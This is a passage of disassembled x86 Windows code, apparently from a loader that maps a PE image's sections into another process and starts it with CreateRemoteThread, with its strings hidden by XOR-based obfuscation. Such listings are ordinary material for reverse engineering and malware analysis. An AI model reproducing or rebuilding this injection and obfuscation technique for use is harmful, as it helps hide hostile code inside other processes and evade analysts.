movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
mov ecx, dword [ebp - 0x19c]
push dword [ecx + 0xc]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [ebp - 0x154]
push 0
push 0
push esi
push dword [ebp - 0x194]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x40b850
mov dword [ebp - 0x20], 0x94b04fdc
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
movaps xmm1, xmmword [ebp - 0x80]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.004086e0
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb95882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x20], 0x6c16c6a9
mov dword [ebp - 0x1c], 0x83f0e2d7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x20], 0x66f2b25d
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movaps xmm1, xmmword [ebp - 0xe0]
lea eax, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xa0]
lea edx, [ebp - 0xe0]
movaps xmmword [ebp - 0xe0], xmm1
lea ecx, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x90]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x18
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403840
add esp, 4
mov edx, 0xc
mov byte [ebp - 4], 0x19
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0x120]
call fcn.00402c40
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0xf4]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x154]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x194]
push edi
call esi
jmp 0x40d793
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [eax + eax]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 0x30], 0x103
jne 0x40d558
push 0
push 0x1c
lea eax, [ebp - 0x50]
mov dword [ebp - 0x38], 0
push eax
xorps xmm0, xmm0
push esi
push edi
movups xmmword [ebp - 0x50], xmm0
movq qword [ebp - 0x40], xmm0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp - 0x44]
cmp esi, fcn.00404040
je 0x40d48f
cmp esi, 0x505050
jne 0x40b990
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xba5882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x28], 0x4436f6ae
mov dword [ebp - 0x24], 0xc6b4ad94
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x1a0], 0x94b045f5
mov dword [ebp - 0x19c], 0x887ba29d
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x160], 0x4436fc9e
mov dword [ebp - 0x15c], 0xc6b4ad94
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0xc4], ecx
lea ecx, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xd0]
push eax
movaps xmmword [ebp - 0x80], xmm1
call fcn.00402c90
mov edx, 0xc
mov dword [ebp - 4], 0x1e
lea ecx, [ebp - 0x120]
call fcn.00404bc0
lea ecx, [ebp - 0x120]
mov dword [ebp - 4], 0xffffffff
call fcn.00402c40
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
mov esi, dword [ebp - 0x154]
je 0x40b860
push 0x1400000
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
mov dword [ebp - 0x19c], esi
test esi, esi
jne 0x40ba62
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xba5882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436f6af
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0xc4], ecx
lea ecx, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xd0]
push eax
movaps xmmword [ebp - 0x80], xmm1
call fcn.00402c90
mov dword [ebp - 4], 0x1f
jmp 0x408a32
push 0x1400000
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x1000
push esi
push dword [ebp - 0xf4]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40bb4a
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xba5882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436f6ac
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0xc4], ecx
lea ecx, [ebp - 0x120]
movaps xmm0, xmmword [ebp - 0xd0]
xorps xmm0, xmmword [ebp - 0x80]
push eax
movaps xmmword [ebp - 0x80], xmm0
call fcn.00402c90
mov edx, 0xc
mov dword [ebp - 4], 0x20
lea ecx, [ebp - 0x120]
call fcn.00404bc0
lea ecx, [ebp - 0x120]
mov dword [ebp - 4], 0xffffffff
call fcn.00402c40
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xeb14d0cd
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x20], 0x2d458ffb
mov dword [ebp - 0x1c], 0xae94cafa
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x396f302
mov dword [ebp - 0x1c], 0x9d62b1b9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0xfb1c4d
mov dword [ebp - 0x1c], 0xf5f75106
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 0xe4]
movzx eax, word [ecx + 0x14]
lea esi, [ecx + 0x18]
add esi, eax
xor ecx, ecx
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x15c], ecx
cmp word [eax + 6], cx
je 0x40c482
nop
cmp dword [esi + 8], 0
je 0x40c463
mov dword [ebp - 0x20], 0xf5d435db
mov dword [ebp - 0x1c], 0x887bc3e9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x28], 0x4436fc9e
mov dword [ebp - 0x24], 0xc6b4ad94
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x280], 0x94b045f5
mov dword [ebp - 0x27c], 0x887ba29d
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x27c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x2a8], 0x4436fc9e
mov dword [ebp - 0x2a4], 0xc6b4ad94
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2a4]
movaps xmm1, xmmword [ebp - 0x310]
mov dword [ebp - 0x2d8], eax
mov eax, esi
mov dword [ebp - 0x2d4], ecx
lea ecx, [ebp - 0x310]
xorps xmm1, xmmword [ebp - 0x2e0]
movaps xmmword [ebp - 0x310], xmm1
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bda0
test dl, dl
je 0x40bd9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bda0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bd80
xor eax, eax
jmp 0x40bda5
sbb eax, eax
or eax, 1
test eax, eax
je 0x40bf9d
mov dword [ebp - 0x1c8], 0xe6c337db
mov dword [ebp - 0x1c4], 0x887ba2fe
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x1d0], 0x4436fc9e
mov dword [ebp - 0x1cc], 0xc6b4ad94
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1cc]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x1d8], 0x94b045f5
mov dword [ebp - 0x1d4], 0x887ba29d
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x1e0], 0x4436fc9e
mov dword [ebp - 0x1dc], 0xc6b4ad94
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x1dc]
movaps xmm1, xmmword [ebp - 0x300]
mov dword [ebp - 0xc8], eax
mov eax, esi
mov dword [ebp - 0xc4], ecx
lea ecx, [ebp - 0x300]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x300], xmm1
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bea0
test dl, dl
je 0x40be9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bea0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40be80
xor eax, eax
jmp 0x40bea5
sbb eax, eax
or eax, 1
test eax, eax
je 0x40bf9d
mov dword [ebp - 0x1e8], 0xf8d537db
mov dword [ebp - 0x1e4], 0x887bc1f2
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1e4]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x1f0], 0x4436fc9e
mov dword [ebp - 0x1ec], 0xc6b4ad94
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [ebp - 0x1ec]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x1f8], 0x94b045f5
mov dword [ebp - 0x1f4], 0x887ba29d
mov eax, dword [ebp - 0x1f8]
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x200], 0x4436fc9e
mov dword [ebp - 0x1fc], 0xc6b4ad94
mov eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x1fc]
movaps xmm1, xmmword [ebp - 0x320]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x320]
mov dword [ebp - 0x44], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x320], xmm1
nop dword [eax + eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40bf90
test dl, dl
je 0x40bf8c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40bf90
add ecx, 2
add eax, 2
test dl, dl
jne 0x40bf70
xor eax, eax
jmp 0x40bf95
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40c457
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x2a0], 0xb4ed6eae
mov dword [ebp - 0x29c], 0xe91ecede
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x29c]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x298], 0x235895ec
mov dword [ebp - 0x294], 0xa5d1deb4
mov eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x294]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x290], 0x89dfb13
mov dword [ebp - 0x28c], 0x9776b1b8
mov eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x28c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x278], 0x618d7352
mov dword [ebp - 0x274], 0xf5f7516a
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x270], 0x94b045f5
mov dword [ebp - 0x26c], 0x887ba29d
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x268], 0x4436fc9e
mov dword [ebp - 0x264], 0xc6b4ad94
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x2cc], ecx
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x260], 0x66f29267
mov dword [ebp - 0x25c], 0xf81091cb
mov dword [ebp - 0x2c8], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x2c4], ecx
mov ecx, dword [ebp - 0x25c]
mov dword [ebp - 0x258], 0x618d7320
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x254], 0xf5f7516a
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x254]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x2d0]
push dword [ebp - 0x30]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x2b8], eax
xorps xmm1, xmmword [ebp - 0x2c0]
push ecx
mov ecx, esi
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
add esp, 4
push eax
call fcn.0040daa0
add esp, 8
mov edx, str.___0x
mov ecx, eax
call fcn.00404c50
mov esi, dword [ebp - 0x30]
mov ecx, eax
push dword [esi + 8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0xf4]
push 0
push dword [esi + 8]
push dword [ebp - 0x19c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40c457
mov dword [ebp - 0x288], 0x94b04fdc
mov dword [ebp - 0x284], 0x887ba29d
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 0x284]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x208], 0x4436fc9e
mov dword [ebp - 0x204], 0xc6b4ad94
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x204]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x210], 0x94b045f5
mov dword [ebp - 0x20c], 0x887ba29d
mov eax, dword [ebp - 0x210]
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x218], 0x4436fc9e
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x214], 0xc6b4ad94
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
movaps xmm0, xmmword [ebp - 0x2f0]
xorps xmm0, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x80], xmm0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.004086e0
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x220], 0xdbe217b0
mov dword [ebp - 0x21c], 0xba5882cf
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0x21c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x228], 0x6c16c6ad
mov dword [ebp - 0x224], 0x83f0e2d7
mov eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x224]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x230], 0x66f2b25d
mov dword [ebp - 0x22c], 0xf81091cb
mov eax, dword [ebp - 0x230]
mov ecx, dword [ebp - 0x22c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x238], 0x618d7320
mov dword [ebp - 0x234], 0xf5f7516a
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x234]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x240], 0x94b045f5
mov dword [ebp - 0x23c], 0x887ba29d
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x248], 0x4436fc9e
mov dword [ebp - 0x244], 0xc6b4ad94
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x250], 0x66f29267
mov dword [ebp - 0x24c], 0xf81091cb
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0xf0], 0x618d7320
mov dword [ebp - 0xec], 0xf5f7516a
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
movaps xmm0, xmmword [ebp - 0x340]
lea eax, [ebp - 0x120]
movaps xmm1, xmmword [ebp - 0x330]
lea edx, [ebp - 0xa0]
xorps xmm0, xmmword [ebp - 0xa0]
lea ecx, [ebp - 0x1c0]
xorps xmm1, xmmword [ebp - 0x90]
push eax
movaps xmmword [ebp - 0xa0], xmm0
movaps xmmword [ebp - 0x90], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x22
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403840
add esp, 4
mov edx, 0xc
mov byte [ebp - 4], 0x23
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0x120]
mov dword [ebp - 4], 0xffffffff
call fcn.00402c40
mov ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0xe4]
movzx eax, word [eax + 6]
inc ecx
add esi, 0x28
mov dword [ebp - 0x15c], ecx
cmp ecx, eax
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0xe4]
jne 0x40bcc0
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xa0]
mov ecx, dword [ebp - 0xe4]
movzx eax, word [ecx + 0x14]
add ecx, 0x18
add eax, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0xf0], 0xb4ed6eae
mov dword [ebp - 0xec], 0xcf3aefd4
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xf0], 0xd70a3db
mov dword [ebp - 0xec], 0x99e0fec6
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0xf0], 0x32b1d734
mov dword [ebp - 0xec], 0xd85ede82
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0xf0], 0x19bd5360
mov dword [ebp - 0xec], 0xf5f7516a
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0xf0], 0x94b045f5
mov dword [ebp - 0xec], 0x887ba29d
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0xf0], 0x4436fc9e
mov dword [ebp - 0xec], 0xc6b4ad94
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x2cc], ecx
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0xf0], 0x66f29267
mov dword [ebp - 0xec], 0xf81091cb
mov dword [ebp - 0x2c8], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x2c4], ecx
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0xf0], 0x618d7320
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0xec], 0xf5f7516a
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
movaps xmm1, xmmword [ebp - 0xa0]
xorps xmm1, xmmword [ebp - 0x2d0]
movaps xmmword [ebp - 0xa0], xmm1
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x2b4], ecx
mov ecx, esi
mov dword [ebp - 0x2b8], eax
xorps xmm1, xmmword [ebp - 0x2c0]
movaps xmmword [ebp - 0x90], xmm1
call fcn.00404c50
mov esi, dword [ebp - 0x30]
mov ecx, eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [ebp - 0xe4]
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp word [eax + 6], cx
je 0x40cdcf
add esi, 8
mov dword [ebp - 0x15c], esi
nop dword [eax + eax]
cmp dword [esi], 0
je 0x40cdb0
mov ecx, dword [esi + 0x1c]
mov eax, 2
mov dword [ebp - 0x24], 0
test ecx, 0x80000000
jbe 0x40c923
